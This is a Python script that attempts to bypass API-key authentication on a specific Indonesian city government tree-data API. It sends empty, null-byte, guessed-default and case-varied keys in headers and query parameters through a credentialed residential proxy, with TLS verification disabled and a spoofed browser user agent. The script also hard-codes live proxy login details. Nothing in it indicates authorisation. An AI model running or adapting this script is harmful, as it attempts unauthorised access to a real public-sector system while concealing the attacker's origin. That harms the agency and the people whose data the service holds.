#!/usr/bin/env python3
import requests
import time

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10008',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10008'
}

TARGET = "https://pohon.disperkim.semarangkota.go.id/api/pohon"

# Try various bypass techniques
bypass_tests = [
    # 1. Empty API key
    {"X-API-KEY": ""},
    # 2. NULL character
    {"X-API-KEY": "\x00"},
    # 3. Common default keys
    {"X-API-KEY": "admin"},
    {"X-API-KEY": "pohon"},
    {"X-API-KEY": "disperkim"},
    {"X-API-KEY": "api123"},
    {"X-API-KEY": "1234567890123456789012345678901234567890"},
    # 4. Try without API key header (already tested)
    # 5. Case variations
    {"x-api-key": "test"},
    {"X-Api-Key": "test"},
    # 6. Array in header
    # {"X-API-KEY[]": "test"},  # Not valid header
    # 7. Key in query param
]

headers_base = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept': 'application/json',
}

# Test header bypass
print("[*] Testing API key bypass via headers...")
for test_headers in bypass_tests[:7]:
    headers = headers_base.copy()
    headers.update(test_headers)
    try:
        resp = requests.get(TARGET, headers=headers, proxies=PROXY, verify=False, timeout=30)
        api_key_val = list(test_headers.values())[0]
        print(f"[*] Key: '{api_key_val[:20]}...' | Status: {resp.status_code} | Len: {len(resp.text)}")
        if resp.status_code != 403:
            print(f"[+] Potential bypass! Response: {resp.text[:500]}")
    except Exception as e:
        print(f"[-] Error: {e}")
    time.sleep(1)

# Test query param bypass
print("\n[*] Testing API key in query param...")
test_keys = ["", "admin", "pohon", "test"]
for key in test_keys:
    try:
        url = f"{TARGET}?X-API-KEY={key}"
        resp = requests.get(url, headers=headers_base, proxies=PROXY, verify=False, timeout=30)
        print(f"[*] Key: '{key}' (query) | Status: {resp.status_code}")
        if resp.status_code != 403:
            print(f"[+] Potential bypass! Response: {resp.text[:500]}")
    except Exception as e:
        print(f"[-] Error: {e}")
    time.sleep(1)

